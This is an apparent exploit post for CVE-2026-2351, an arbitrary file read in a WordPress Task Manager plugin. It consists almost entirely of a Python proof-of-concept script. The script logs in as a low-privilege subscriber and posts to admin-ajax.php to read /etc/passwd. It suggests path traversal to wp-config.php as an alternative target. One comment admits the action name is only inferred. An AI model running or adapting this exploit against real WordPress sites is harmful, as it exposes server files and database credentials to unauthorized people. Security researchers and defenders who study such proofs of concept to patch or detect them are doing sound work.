CVE-2026-2351 WordPress Task Manager 任意文件读取漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" password = "password" # 1. Login to get authentication cookies login_url = "http://example.com/wp-login.php" session = requests.Session() login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post(login_url, data=login_data) # 2. Exploit Arbitrary File Read # The action name is inferred from the function name 'callback_get_text_from_url' # Common WP pattern: action = function name without 'callback_' prefix payload_data = { "action": "get_text_from_url", # Vulnerable parameter, attempting to read wp-config.php "url": "/etc/passwd" # Depending on implementation, might need path traversal like "../../../wp-config.php" } response = session.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Exploit successful!") print("[+] File content:") print(response.text) else: print("[-] Exploit failed.")